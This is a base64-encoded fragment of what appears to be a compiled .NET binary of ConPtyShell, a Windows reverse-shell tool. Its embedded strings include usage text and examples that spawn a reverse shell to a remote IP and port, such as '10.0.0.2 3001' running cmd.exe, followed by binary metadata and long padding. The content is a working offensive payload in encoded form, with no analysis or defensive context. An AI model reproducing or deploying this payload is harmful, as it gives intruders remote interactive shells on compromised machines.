AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACAAIAAgACAAIAAgACAAIAANAAoAAQCFFfXwqfXoQ5E0u4zYFZOLAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgA6ACAAAyAAAQQgAQEOAgYCAgYYBAABAhgFAAIJGAkLAAYYCQkSEBgJEAkEIAEJCQQgAQIYBSACARwYCCADEhkJEh0cBSABCRIZAgYJBAAAAAAEBAAAwAQFAACABCMAAMACBggEAQAAAAQCAAAABBAAAAAHAAIIBhARLAgAAwgYCBARNAsABhgICAgQETQICAMAAAgJAAMIGBAROBAIBwADGBEoAggLAAcCGBgYEBgJAgkDAAAYCgAFCRgRHBgJEAgIAAQJCBgIEAgFAAIYCAgHAAMYGBEcCAUAARgSIQYAAgIYEiECBgcCBgUDBhEcBAMAAAAEBAAAAAMGESQDBhEoBP8PHwAECAAAAAQgAAAABEAAAAAEgAAAAAQAAQAABAACAAAEAAQAAAQAEAAABAAAEAACBgYDBh0JAwYRJQMGETACBgoLAAUIGAgQETwIEAgEAAASIQUAARIhCAUAARIhGDh7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAQWAAIABAAACAAEAAAACAT/////BAAAAIAEAAAAQAT2////BPX///8E9P///wgABAIYCAgQGAoABwIYCRgYGBgYFQAKAg4OEBFQEBFQAgkYDhARRBARTBEACgIODhgYAgkYDhARSBARTAUAAgIYCQUAAgIIGAQAARgICwAEAhAYEBgQEVAICgAHGA4JCRgJCRgKAAUCGB0FCRAJGAoABQgRVBgYCRAYBAABCBgGAAICGBAJAwAAAgUAAgIYCAQAARgOBQACGBgODAAGGBEpES0RMRgJCAgAAwgYEBFcCAQAAQcHBAABCQ4HAAIIBhARWAgABAgYHQUICQQAAQkYBQACGA4ICAADARgQCRAJCwAEARAYEBgQGBAYCQADARAYEBgQGAYAAwEYGBgDAAABCwAFCBAYEBgQGAkJBgACEUQYGAgAAhFMEBFEDgYAAhFMGA4EAAEBHAYAAhI1GBgHAAMSNRgYGAkABg4OCAkJDgIDBhFIBAABAg4FAAEBHQ4EAAEODgQAAQgOBQABCR0OBQABDh0OBCABAQgFAAIODg4GBwMSEBgJBSABARFZAQIEAAEBGAQHAhgJBgABEmURaQUAAQgSZQMgAAgFAAICGBgDIAAOBgADDg4ODgQAAQEOBAABGBgDIAAKBCABAQoGAAIcGBJlBAABCBwEAAEYCgQAAQ4YBQACAg4OFAcOESAKGBgYGA4YEgwIERgIGBEYCwcHGBE4ETgICAgIBQACDg4cBwAEDg4ODg4LBwcYGBE0ESwICAgFIAEBEXUDF4EBAxeAgQIeBwMXgQADIAAYBAcBEiEIBwQRPAgIEiEEAAEICAoHBggIDhFYGBFcBAABAQgFAAASgIkHIAMOHQUICAYgAR0OHQMGAAICDhAIDgcJHQUICAgODg4dAx0DBAcBEVAEBwIYGAQHAgkYBQcCCBFUBQACDhwcBgcDGAIRRAoHBRFMEVAIEVACBgcCEUQRTAIdHAwHCB0cGBgIAggJHQUGIAEBEoCRBCABARwGBwIdHBI1DQcJHRwYGBgIAggJHQUHAAQODhwcHAYAAw4OHBwGAAIODh0cHwcWGBgYGBgYGBgYAgICAg4SIRIhEiERTAgRSBI1EjUFAAASgJUIAAICDhASgJkFBwESgJkDBwEIAwcBCQMHAQ4EIAECDgkHBw4OCAIJCQ4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAADYfwAAAAAAAAAAAADufwAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4H8AAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA